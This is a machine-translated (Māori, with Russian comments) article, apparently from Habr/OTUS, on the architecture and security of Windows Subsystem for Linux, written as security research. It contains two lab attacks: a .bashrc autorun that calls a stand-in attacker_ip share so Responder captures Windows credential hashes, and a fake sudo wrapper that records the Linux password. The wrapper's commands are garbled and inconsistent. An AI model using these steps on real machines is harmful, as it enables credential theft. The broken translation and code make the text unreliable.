Nga whakamatautau WSL. Wāhanga 1

Kia ora, habr! Ka whakarewahia e OTUS he rerenga akoranga hou hei te Oketopa "Haumarutanga Linux". I te tatari mo te timatanga o te akoranga, kei te tohatoha atu matou ki a koe i tetahi tuhinga i tuhia e tetahi o o matou kaiako, a Alexander Kolesnikov.

Nga whakamatautau WSL. Wāhanga 1

I te tau 2016, i whakauruhia e Microsoft te hangarau WSL hou ki te hapori IT (Wki roto Subsystem mo Linux), i te wa kei te heke mai i taea ai te whakakotahi i nga kaiwhakataetae o mua e whawhai ana mo te rongonui i waenga i nga kaiwhakamahi OS noa me te matatau: Windows me Linux. Na tenei hangarau i taea te whakamahi i nga taputapu Linux OS i roto i te taiao Windows me te kore e hiahia ki te whakahaere i te Linux, hei tauira, te whakamahi i te Multi-boot. I runga i a Habr ka kitea e koe te maha o nga tuhinga e whakaatu ana i nga painga o te whakamahi i te WSL. Heoi ano, i te wa i hangaia ai tenei tuhinga, kaore he rangahau mo te haumarutanga o taua symbiosis o nga punaha whakahaere i kitea i runga i tenei rauemi. Ko tenei panui he ngana ki te whakatika i tenei. Ka korero te tuhinga mo nga ahuatanga o nga hoahoanga WSL 1 me 2 me te tirotiro i etahi tauira o nga whakaeke ki nga punaha e whakamahi ana i enei hangarau. Kua wehea te tuhinga kia 2 nga wahanga. Ko te tuatahi ka whakarato i nga tikanga whakaeke ariā matua mai i Linux me Windows. Ko te tuhinga tuarua ka uru ki te whakarite i tetahi taiao whakamatautau me te whakaputa ano i nga whakaeke.

WSL 1: āhuatanga hoahoanga

Mo te ruku tino tika ki nga take haumarutanga WSL, he mea tika ki te whakatau i nga ahuatanga matua e pa ana ki te whakatinanatanga o te punaha iti. Ko tetahi o nga tino mahi a te kaiwhakamahi kua whakatauhia e WSL ko te kaha ki te mahi ma te tauranga Linux i runga i te kaihautu whakahaere Windows OS. I tua atu, ko te hototahitanga i tukuna he mea taketake kia taea ai te whakahaere tika a Linux executables (ELFs) ki runga i te punaha Windows. Hei whakatutuki i enei whainga, i hangaia he punaha motuhake i roto i te Windows 10 e taea ai e koe te whakahaere i nga tono Linux ma te whakamahi i te huinga waea punaha motuhake - na reira, i ngana ki te mapi i tetahi huinga syscalls Linux ki Windows. I whakatinana tinana tenei ma te taapiri i nga taraiwa hou me te whakatakotoranga tukanga hou. Ko te ahua o te hoahoanga he penei:

Nga whakamatautau WSL. Wāhanga 1

Ko te mea pono, ko te taunekeneke me te punaha whakahaere Linux i whakaritea ma te maha o nga waahanga kernel me tetahi momo mahi motuhake - pico. Mai i te hoahoa i runga ake nei, ka kite koe ko te tukanga e whakahaere ana i runga i te tauira Linux i runga i te kaihautu me taketake me te whakamahi i nga rauemi rite tonu ki nga tono Windows. Engari me pehea te whakatutuki i tenei? I roto i te kaupapa Tataata I whakawhanakehia nga ariā tukatuka mo Windows e whakarato ana i nga waahanga katoa e tika ana o te punaha whakahaere (i runga i tana putanga) hei whakahaere i tetahi tono o tetahi atu OS.

Kia mahara ko te tangohanga i whakaarohia kia kore e aro ki te punaha whakahaere (otira, ko Windows), e tika ana kia whakarewahia te tukanga o tetahi atu OS, me te whakaaro he huarahi whanui.

No reira, ka taea e tetahi tono kei roto i te tukanga pico te whakahaere me te kore e whakaaro ki te pata Windows:

  1. Ko nga raruraru o te hototahi me te whakamaoritanga o nga waea punaha me whakatau e nga kaiwhakarato motuhake;
  2. Me mahi te mana uru ma te Aroturuki Haumarutanga. Ko te kaitirotiro kei roto i te kernel, na reira i hiahia a Windows ki te whakahou ake i te ahua o te taraiwa hou ka taea te mahi hei kaiwhakarato mo aua mahi. Ka whakaatuhia he mahinga pico tauira i raro nei:

Nga whakamatautau WSL. Wāhanga 1

I te mea ka whakamahia e te punaha konae Linux nga ingoa o nga konae me nga ingoa whaiaronga, e 2 nga momo punaha konae i taapiri atu ki Windows hei mahi tahi me WSL - VolFS me DriveFS. Ko te VolFS he whakatinanatanga o te punaha konae Linux, ko te DriveFS he punaha konae e mahi ana i runga i nga ture Windows, engari he kaha ki te kowhiri i te ahuatanga o te keehi.

WSL 2

He maha nga herenga a WSL 1 kaore i whakaaetia kia whakamahia ki te whakaoti i te whānuitanga o nga mahi: hei tauira, kaore i te kaha ki te whakahaere i nga tono Linux 32-bit, kaore e taea te whakamahi i nga taraiwa taputapu. No reira, i te tau 2020, ka tukuna te WSL 2, i whakarereke i te huarahi ki te hanga i te punaha iti. Ko te WSL 2 he miihini mariko kua arotau ki nga ahuatanga kohi rawa o WSL 1. Na, i runga i nga raru kua whakatauhia e te kaiwhakamahi Windows OS, ka taea e koe te kowhiri i te putanga e hiahiatia ana o te punaha-a-roto Linux. Hei whakaiti i nga whakaraeraetanga ka taea, i whakatinanahia te WSL 2 i runga i te Hyper-V i roto i te Windows 10. I tenei ahua, kei a Windows te kaha ki te whakahaere i te kernel punaha whakahaere Linux i roto i te wehe. He mea pai kia maumahara ko te putanga 1 o te WSL i whakauruhia hei ahuatanga beta e kiia ana hei whakaatu i te ahunga o te whanaketanga Windows i tenei waahi, na reira kare e taea te whakawhiti ki te Hyper-V. He penei te ahua o te hoahoanga whakamutunga:

Nga whakamatautau WSL. Wāhanga 1

I tenei putanga, kei a raatau ake nga rauemi a nga kakano Windows me Linux, kei roto noa i te punaha konae te whakawhitinga, engari kaore i oti tenei whakawhitinga. Ko te taunekeneke i waenga i nga punaha konae ka mahia ma te takai kaihoko-tūmau e mahi ana ma te whakamahi i te kawa 9P.

I tenei ra ka tukuna e Microsoft te kaha ki te huri i waenga i te WSL 1 me te WSL 2. Kei te waatea nga putanga e rua hei whakamahi.

WSL Haumarutanga

I tenei wa, he maha nga mahi e whakaatu ana i etahi huarahi ki te whakamahi i nga taputapu OS tika hei whakaeke i te whakawhitiwhiti korero i waenga i nga punaha iti. Ka whakamahia e matou o raatau tuhinga ki te tirotiro i te whaitake o nga whakaeke i te wa e tuhi ana. Rarangi whaanui o nga whakaeke me nga ahuatanga:

1. Te whakatinanatanga o te punaha konae: motika uru, te waatea o nga whaiaronga tiritahi/tikanga whakawhiti raraunga.

I whakahaerehia he rangahau hei whakatau i nga takahitanga o nga ture uru mai Linux FS->Windows FS, Windows FS->Linux FS. Kua whakaatuhia e te rangahau te kaha ki te whakarereke i tetahi konae i roto i te OS kua whakaritea. I ngana ano ki te whakakapi, ki te hanga taarua me te whakakore i tetahi waahanga o nga punaha konae.

Tauari:

  • A. Te whakaeke mai i te punaha whakahaere Windows - he whakarereke i nga konae mai i te raarangi /etc o te Linux OS.
  • B. Te whakaeke mai i te punaha whakahaere Linux - whakarereke i nga konae kei roto i nga raarangi: C:Windows, C:Program Files, C:Users<User>

2. Te whakatinanatanga o te puranga whatunga.

I whakahaerehia te rangahau ma te whakamahi i nga tauira o nga whakaeke mai i te punaha whakahaere Linux ki Windows. I whakamahia nga ahuatanga o te puranga whatunga, ara, nga tikanga motuhēhēnga i runga i nga momo rauemi.

Tauari:

  • Te whakatuwhera i te uru ki tetahi tauranga e nohoia ana i runga i te punaha Windows
  • Te whakatuwhera i tetahi tauranga kaore he mana tika
  • Te whakahaere anga whakamuri ma te whakamahi i te konae elf i runga i te punaha whakahaere Windows.

3. Huna i te whakarewatanga o nga tukanga rorohiko kino ma te whakamahi i te punaha WSL.

I ahu mai te rangahau i runga i te meka ngawari - kaore e taea e nga punaha haumarutanga te haukoti i nga huihuinga i roto i tetahi atu kernel e mahi ana ma te whakamahi i tetahi kaiwhakarato tika mai i te punaha whakahaere mo te WSL 1. Mo te WSL 2, kaore he huarahi ki te tiro i nga kaupapa ka puta. i roto i te kakano motuhake i roto i te miihini mariko mama.

Tauari:

1) Whakarewahia te tono mo te uru mamao ki te punaha me te tiro i nga huihuinga kua tuhia.

Nga whakamatautau WSL 1: haukoti hash (Windows)

Ka mutu ka tae matou ki te wahanga mahi. Tuatahi, me whakarite e koe te taiao whakamatautau. Ka mahia nga whakamatautau katoa i runga i te papa me te whakauru Windows 10 2004. Ko te ahua o te Ubuntu 18.04 i tohua hei ahua o te punaha whakahaere mo te WSL. Ko te ahua i whiriwhiria ohorere, a ko etahi atu ka mahi pera ano. Nga tono mo te whakatu turanga:

Me whakarewa tuatahi koe powershell.exe hei kaiwhakahaere.

Mo te WSL 1 me whakahaere e koe nga whakahau:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • I muri i te whakaara ano i te tuunga, ka taea e koe te karanga i te whakahau bash. Mena i tika nga mahi katoa, ka kite koe i te putanga rite ki tenei i te papatohu Windows:

    Nga whakamatautau WSL. Wāhanga 1

    Ka whakamahia e matou te tohatoha Kali Linux hei miihini a te kaitukino; me noho nga miihini katoa ki te whatunga rohe kotahi.

    Me whakaaro kei a tatou he urunga kore ki te WSL i runga i te miihini Windows. Me ngana ki te whakaeke i te punaha whakahaere Linux ma te karanga i tetahi whakahau mai i Linux. Hei whakatinana i te whakaeke, ka whakamahia e matou he tikanga autorun ngawari - ka taapirihia ta maatau tuhinga mo te mahi i roto i te taiao Linux. Ki te mahi i tenei me huri koe i te konae .bashrc.

    I runga i te miihini me te WSL ka mahia e matou:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    I runga i te miihini Kali Linux ka whakahaerehia e matou:

    1. Responder -I eth0 -rdvw

    I runga i te miihini Windows, me whakarewa te bash.

    Kei te tatari matou mo te hua i runga i te miihini Kali Linux:

    Nga whakamatautau WSL. Wāhanga 1

    No reira, i riro mai i a maatau nga tohu kaiwhakamahi Windows na roto i te punaha WSL ma te whakahaere i te whakahau i runga i te punaha Linux.

    Nga whakamatautau WSL 1: whiwhi kupuhipa kaiwhakamahi (Linux OS)

    Me mahi ano tetahi whakamatautau. I roto i tenei tirotiro ka taapirihia e matou ki te konae .bashrc he maha nga whakahau kia whiwhi ai koe i te kupuhipa kaiwhakamahi punaha whakahaere Linux.

    Ka whakarewahia te bash me te whakauru i nga whakahau:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Kia pai te whakaoti i te whakaekenga, me waea te kaiwhakamahi a Sam i te sudo i te tauranga Linux. I muri i tenei, ka noho te kupuhipa kaiwhakamahi Linux OS ki te konae pass.txt:

    Nga whakamatautau WSL. Wāhanga 1

    Ko te whakatinanatanga o nga whakaeke i tukuna mo nga korero ariā anake.

    Ko te waahanga e whai ake nei o te tuhinga ka whakaatu i te whakatinanatanga o te kawa 9P, ka whakaarohia te hanga o te matawai mo tenei kawa, me te kawe ano i te whakaeke ma te whakamahi.

    Rarangi o nga tuhinga tawhito

    Nga whakamatautau WSL. Wāhanga 1

    Pānuitia atu

    Source: will.com

    Tāpiri i te kōrero